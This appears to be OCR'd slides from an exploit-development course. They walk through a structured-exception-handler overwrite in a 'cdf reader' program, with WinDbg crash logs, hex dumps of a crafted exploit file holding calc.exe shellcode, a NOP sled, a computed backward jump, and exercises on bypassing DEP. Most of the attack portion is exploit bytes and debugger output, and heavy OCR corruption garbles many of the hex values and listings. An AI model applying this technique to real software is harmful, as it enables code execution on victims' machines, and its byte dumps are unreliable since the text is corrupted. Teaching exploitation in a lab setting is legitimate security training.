ce=001b ===0023 d==0023 e=s=0023 f==003b g==0000 efl=00210212
MSVCR90 | memcpy+0x5Sa |

7855ae7a f£3ab rep movse dword ptr es:[edi].dword ptr [esi]

Mis=sing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

0:000> g

(380.230): Break instruction exception - code 80000003 {(first chance)
eax=00000000 =b=x=00000000 ecx=6tled4ldfc edx=7c9032bc es1=7c9032a8 =di=00000000

eip=0012ffb8 e=sp=0012£950 ebp=0012faZ2c iopl=0 nv up €1 pl zr na pe nc
ce=001b ===0023 d==0023 e=s=0023 f==003b g==0000 efl=00200246
<Unloaded_AN32 .dll>+0=x12ffb7:

0012ffb8 cc int 3

 We caused the opcodes we inserted into the cdf file to be
executed. We are very close to owning this thing... we just
need to get some real shellcode to execute. Let’s replace
those OxCC’s with calc.exe spawning shellcode.

* Hint: make a copy of the exploit file each time you make a
change, this isnt going to be as easy as you might hope...
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Juuuug 4 g 99 UL 3 Y99 LU bbb S99 LU D9 G99 Ll Ll 99 Ll Fr LI LT LM L L LY
00000250 99 FF 00 99 FF 33 99 FF 66 99 FF 99 99 FF CC EB 29, my3mgfmymmiis
00000260 06 OO0 00 FC 14 E4 62 FC ES 89 00 00 00 60 829 ES5 ...id.&hie%... %a
00000270 31 D2 64 8B 52 30 8B 52 OC 8B 52 14 8B 72 28 OF 10d<RO<R.<R.<¢r{.
00000280 B7 44 26 31 FF 31 CO AC 3C 61 7C 02 2C 20 C1 CF -J&l¥ld-<a|., AI
00000290 0D 01 C7 E2 FO 52 57 8B 52 10 8B 42 3C 01 DO 8B ..CA&RW<R.¢B<.D¢
0O0O0D02A0 40 78 85 CO 74 44 01 DO S0 8B 48 18 8B 58 20 01 @x.AtJ.PP<H.<X .
000002BO D3 E3 3C 49 8B 34 8B 01 D6 31 FF 31 CO AC C1 CF O&<I¢4¢ .01414-AT
000002CO 0D 01 C7 38 EO 75 F4 03 7D F8 3B 7D 24 75 E2 58 ..CB8aud.}w;)iuax
000002D0 8B 58 24 01 D3 66 8B OC 4B 8B 58 1C 01 D3 8B 04 <¢X$.0f¢ . KeX..0¢.
OO0O002ED 8B 01 DO 89 44 24 24 SB SB 61 59 5S4 51 FF EO 58 < .bwD$$[[avZQyaX
OO0002F0 SF SA 8B 12 EB 86 5D 64 01 8D 85 B9 00 00 00 50 Z¢ .8t]13...%...P
00000300 68 31 8B 6F 87 FF D5 BB FO BS A2 56 68 A6 95 BD hilcoiOs8peVh! =%
00000310 9D FF DS 3C 06 7C OA 80 FB E0O 75 05 BB 47 13 72 .%0<.|.€0au.»G.r
00000320 6F 64 00 53 FF D5 63 61 6C 63 2E 65 78 65 00 FF  o0j.3¢0calc.exe.§
00000330 66 FF FF 99 FF FF CC FF FF FF 21 F9 04 01 00 00 £4{™9yIviy'a....
00000340 10 00 2C 00 00 00 OO0 08 02 E9 01 00 08 FF 00 FF  ..,...... E...¥.%

 Here I've used the hex editor to hack in the calc.exe
spawning shellcode where | had originally put
0xCC’s. | clobbered some other stuff too with all
this shellcode, hopefully that doesn’t matter..

* Let’s give this one a go and see what happens.
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Hmm...

(dfc.3d8): Access wviolation - code c0000005 {(first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=ab8f4e8d ebx=000015c0 ecx=2abfffSf edx=00000002 e=1i=008£510f edi=00130000

eip=7855ae7a e=sp=0012fdl4 ebp=0012fdlc i1opl=0 nv up €1 pl nz ac po nc
ce=001b ===0023 d=s=0023 es=0023 f==003b g==0000 efl=00210212
MSVCR90 | memcpy+0x5a:

7855ae7a f£3a5 rep nove dvord ptr es:[edi].dword ptr [esi]

Mi==sing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

0:000> g

(dfc.3d8): Access wviolation - code c0000005 {(first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=00000000 eczx=62edldfc edx=7c9032bc e=si1=7c9032a8 edi=00000000

ei1p=00130047 e=sp=0012f94c ebp=0012fa2c i1opl=0 nv up €1 pl zr na pe nc
c==001b ===0023 d==0023 e=s=0023 f==003b g==0000 efl=00210246
<Unloaded_AN32 .dll>+0=x130046:

00130047 0000 add byte ptr [eax].al d=:0023:00000000="27
|0:UUU>|

* No calc.exe... Who can tell me (or at least
speculate as to what happened?)
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R

0012f£b8
0012ffch
0012££d8
0012ffed
D012£££8
00130008
00130018

i W w e e

fc
52
ac
8b
do
01
20

ed
Oc
3c
52
50
oo
oo

89
8b
61
10
8b
0o
0o

0:000> db 12ffb8 1200

oo
52
7c
8b
48
oo
oo

oo
14
nz
42
18
9c
oo

EA epr¢1,cdf‘ & calcshellcode.bin |

Offset (h)

nlululnlulu]u]u]
00000010
alululnlulu}Au]
00000030
00000040
00DDD0DS0
nlnlulnlulu}-1u]
00000070
nlnlulnluluk=in]
nlululnlului=ln]
O0DDDDAD
00DDDODED
nlululnlnlnlein]

0o

FC
52
AC
5B
Do
01
03
oc
5B
6a
BB
80
61

01

ES
oc
3C
52
50
D6
7D
4B
5B
01
FO
FB
6C

0z

89
5B
61
10
5B
31
F&
5B
61
5D
BS
EOD
63

03

0o
52
7C
5B
45
FF
3B
58
59
85
AZ
75
ZE

04

0o
14
nz
42
15
31
7D
1C
S5a
B9
56
05
65

o0
8b
2c
3c
8b
24
oo

05

0o
5B
2c
3C
5B
co
24
01
51
0o
68
BB
78

60
72
20
01
58
0o
0o

06

60
7e
20
01
58
AC
75
D3
FF
0o
A6
47
65

B

89-e5
28-0f
cl-cf
d0-8b
20-41
00-c4
0n-14

o7

89
28
c1
DO
20
c1
E2
8B
EOD
0o
95
13
oo

03

ES
oF
CF
5B
01
CF
58
04
58
50
ED
7e

31
b7
0d
40
63
0o
0o

oS

31
B7
oD
40
D3
oD
5B
5B
SF
68
oD
6F

dz
4ia
01
78
74
oo
oo

(HD:N

Dz
4n
01
78
E3
01
58
01
S5a
31
FF
6a

64
26
c?
85
78
oo
oo

OB

64
26
c7
85
3C
c7
24
Do
5B
5B
D5
0o

8b
31
el
ci
20
oo
01

oc

5B
31
E2
co
49
38
01
89
1z
6F
3C
53

52
ff
fo
74
0o
0o
0o

oD

52
FF
FO
74
5B
EOD
D3
44
EB
87
06
FF

30
31
52
4a
oo
oo
oo

OE

30
31
52
4n
34
75
66
24
86
FF
7C
D5

8b
ci
57
01
oo
oo
oo

OF

5B
co
57
01
5B
F4
5B
24
5D
D5
(H):N
63

................

g%, .. " %410d¢ RO¢
R.<R.<r{.-J&lyld
—<al., ALI..CASRU
¢R.¢B<.D<@Bx.AtJ.
PP¢H.<X .0&<Ic4¢
LO01%1A-4T. . C8&ud
Lrer Y SudAXe X§. 05«
CKeX.. 0. ¢ DRDSS
[[aYZQyaX Zc .&t]
J...?...Phlcotyd
»EReVh! =3, 30<. | .
€hau.»G.roj.3y0c
alc.exe.ﬁ

* Not all of our shellcode got copied.

e Why?
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Plan B

Since we don’t have enough room on the stack to
put our 200 byte calc shellcode AFTER the
exception handler record. You need to relocate it.

Restore your exploit file with the 0xCC opcode
bytes after the exception record.

Try to transplant your shellcode elsewhere in the
file so that it ends up in one piece on the stack.

Then, change the OxCC bytes after the exception
handler record (the bytes that get executed) to
get a relative call/jmp to your transplanted
shellcode.



i) caleshellcode.bin | &) exploitia,cdf |

Offset(h) 00 01 02 03 04 05 06 07 08 09 O OB OC OD OE OF
00000000 43 44 46 08 02 00 00 E9 01 00 OO0 20 00 00 00 1C CDF....&... ....
00000010 00 00 00 OE OO 00 AB O3 00 OO0 OO CO 15 00 00 90 ...... Cowwodoun.
00000020 90 90 90 90 90 90 FC EB 89 00 00 00 60 89 ES 31 ......ué%...'%&1
00000030 D2 64 8B 52 30 8B 52 0OC 8B 52 14 8B 72 28 OF B7 Od¢RO(R.<R.<r (.-
00000040 44 26 31 FF 31 CO AC 3C 61 7C 02 2C 20 C1 CF 0D J&l¥1d-<al., AI.
00000050 01 C7 E2 FO 52 57 8B 52 10 8B 42 3C 01 DO SB 40 .CASRW<R.<B<.D¢f
00000060 78 85 CO 74 44 01 DO S0 8B 48 18 8B 58 20 01 D3 x.AtJ.DPP<H.<X .0
00000070 E3 3C 49 8B 34 8B 01 D6 31 FF 31 CO AC C1 CF 0D &<Ic¢4¢.01%1A-A4T.
00000080 01 C7 38 EO 75 F4 03 7D F8 3B 7D 24 75 E2 58 8 .CBaud. ) $ uéaxe
00000090 58 24 01 D3 66 8B OC 4B 8B 58 1C 01 D3 8B 04 8B X$.0f¢.K O L ¢
00D0D0OAD 01 DO 89 44 24 24 SB SB 61 59 SA 51 FF EO 58 SF .D®D$$[[a¥YZQyax
DO0O0O0OOBO Si 8B 12 EB 86 SD 64 01 8D 85 B9 00 00 00 S0 68 Z¢.&t]13j...'...Ph
000000CO 31 8B 6F 87 FF D5 BB FO BS A2 56 68 A6 95 BD 9D 1< oti0s&peVh! =%,
000000DO FF DS 3C 06 7C OA 80 FB EO 75 05 BB 47 13 72 6F ¥0<.|.€dau.»G.ro
ODDOOOED 64 00 53 FF DS 63 61 6C 63 2E 65 78 65 00 po 99 j.s¢bcalc.exe.l™
0O0D0O0DOFO 66 00 99 99 00 99 CC 00 99 FF 00 CC 00 00 CC 33 f£.2= » =y I, I3

* Some windbg investigation told me the location of the file
being memcpy’d was where the “zero day haiku” ascii
bytes were. Since | figure this will get copied on the stack,
I’ll overwrite that message with my shellcode.

 Next I'll need to reload the file with cdf reader, and try to
locate the address of where my new shellcode ends up.

* Notice | gave myself some NOPs as well so | have some
wiggle room. o



Scanning for shellcode

0:000> = 120000 1ff£ff 90 S0 90 90
0012£d470 90 90 90 90 90 90 90 fc—-e8 89 00 00 00 60 89 5 ... ... ... .... T

0012fd471 90 90 90 90 90 90 fc =8-89 00 00 00 60 89 =5 31 . ........... R |
0012fd472 90 90 90 90 90 fc =8 89-00 00 00 60 89 5 31 4d2 ........... o1
0012fd473 90 90 90 90 fc =8 89 00-00 00 60 89 =5 31 d2 64 . ... ...... .o.1.d

 Here I've recreated the crash with my work in
progress exploit file, and scanned the stack
space for my shellcode/nops.

* They seem to be located at 12fd70.



Calculating jmp

MSVCRY90 | memcpy+0x5a:

7855ae7a f3a5 rep mnovs dwvord ptr es:[edi].dword ptr [esi]

Mi==sing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

0:000> g

{del.cbc): Break instruction exception — code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=62e4ldfc edx=7c9032bc esi1=7c9032a8 edi=00000000
eip=0012ffb8 esp=0012f950 ebp=0012faZ2c i1opl=0 nv up 21 pl zr na pe nc

cs=001b ===0023 ds=0023 es=0023 f{==003b g=s=0000 efl=00200246
<Unloaded_AN32 .dl1>+0x12ffb7:
0012ffb8 cc int 3

0:000> ?12ffb8-12£470|
Evaluate expression: 584 = 00000248

Il A~ I

 Atthe time | get to my OxCC opcodes, | am 0x248 bytes
away from my transplanted shellcode. Therefore if |
change my 0xCC opcodes to a relative jmp/call

backwards ~0x248 bytes, | should start executing my
shellcode.
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&) calcshellcode. bin | &) exploit1.cdf

Offset (h) 00 01 02 03 04 05 06 07 08 09 DA OB OC OD OE OF

00000150 CC 33 66 FF 33 99 00 33 99 33 33 99 66 33 99 99 I3fy3m, 3m3zmfinm
00000160 33 99 CC 33 99 FF 33 CC 00 33 CC 33 33 CC 66 33 3™I3my3I.3I331f3
00000170 CC 99 33 CC CC 33 CC FF 33 FF 00 33 FF 33 33 FF  I=3IIsi¢3v.3v33v
00000180 66 33 FF 99 33 FF CC 33 FF FF 66 00 00 66 00 33 f£3y™3y¢I3¢ye..£.3
00000190 66 00 66 66 00 99 66 00 CC 66 00 FF 66 33 00 66 f£.ff.™f.If.yf3.f
000001A0 33 33 66 33 66 66 33 99 66 33 CC 66 33 FF 66 66 33f3ff3™f3If3yff
000001BO 00 66 66 33 66 66 66 66 66 99 66 66 CC 66 66 FF ff3fffff™ffiffy
000001CO 66 99 00 66 99 33 66 99 66 66 99 99 66 99 CC 66 f£™, fM3fmfromfmis
000001DO0 99 FF 66 CC 00 66 CC 33 66 CC 66 66 CC 99 66 CC ™yfI.fIsfiffi=fi
0000D1ED CC 66 CC FF 66 FF 00 66 FF 33 66 FF 66 66 FF 99 IfIyfy.fy3fyfry™
000001F0 66 FF CC 66 FF FF 99 00 00 99 00 33 99 00 66 99 fylfgy™. . ™. 3™
00000200 00 99 99 00 CC 99 00 FF 99 33 00 99 33 33 99 33 ,»m m ym3 mygmg
00000210 66 99 33 99 99 33 CC 99 33 FF 99 66 00 99 66 33 fm3zm3imgyme mej
00000220 99 66 66 99 66 99 99 66 CC 99 66 FF 99 99 00 99 ™ffmfmmf mfmm m
00000230 99 33 99 99 66 99 99 99 99 99 CC 99 99 FF 99 CC ™3vefrmmmo fomgm]
00000240 00 99 CC 33 99 CC 66 99 CC 99 99 CC CC 99 CC FF .migmifmimmiimiy
00000250 99 FF 00 99 FF 33 99 FF 66 99 FF 99 99 FF CC EB ™y, ®my3myfmymmyis
00000260 06 00 00 FC 14 E4 62 ES BS FD FF FF 00 99 CC 00 ...i.&hé, ¥y 1.
00000270 CC CC 00 FF CC 33 00 CC 33 33 CC 33 66 CC 33 99 II.yI3.issiszfiz=
00000280 CC 33 CC CC 33 FF CC 66 00 CC 66 33 CC 66 66 CC I3IIayif.If3iffl

ANANA2an &6 QQ FF &6 OF ©C &6 FF ¢ QQ NN ~C aa 22 " aa  FeTETTeaTm Tme tm

e 584 is Oxfffffdb8 in hexadecimal.

* Soif | change my OxCC’s to e9 b8 fb ff ff, which
tells the cpu jmp -584, | should hit my shellcode.
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JU uu4ausuuu

ﬁ Calculator

cdi_reader . exe

10 Jede view Help

10 0.
10

gg (OHex ®Dec O0ct OBin () Degees (O Radians ) Grads

10

33 Ciny [THyp I I [Backspace [ CE ][ C
10 , , — — 7

10 [SG F-E ( | MC 7 ] 8 9 ! Mod] And
10

2Ui Ay dms || Exp In MR 4 5 B * Or Xor
=71

a=0 um sin %"y log MS 1 2 3 Lsh [[ Mot
3

S cos || ®°3 nl M+ 0 +/- + = Int
10 Da tan || "2 || 1/= pi 2, B C C E F
10

10 31| BT WL U ¥ VX BT

J0 SadaBUUU

klelde

C \UINDOUS\systemS2\uxtheme dll

* Victory!!l
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Choose your path

* At this point you should start trying to exploit
other unique crashes you found in cdf reader.

* |f you want a much more difficult challenge,
reboot with DEP turned on, and try to modify

one of your cdf exploits to bypass DEP and
launch a calc.exe



Recap: What you learned

Vanilla stack overflows in win32
Windows Shellcode Fundamentals
Exception Handler overwrites in Windows

Windows exploit mitigations including:
— DEP

— SafeSEH

— GS Protection

— ASLR



What you learned 2

* Stack pivots and using VirtualProtect to bypass
DEP.

 Mutation based fuzzing

* Crash analysis



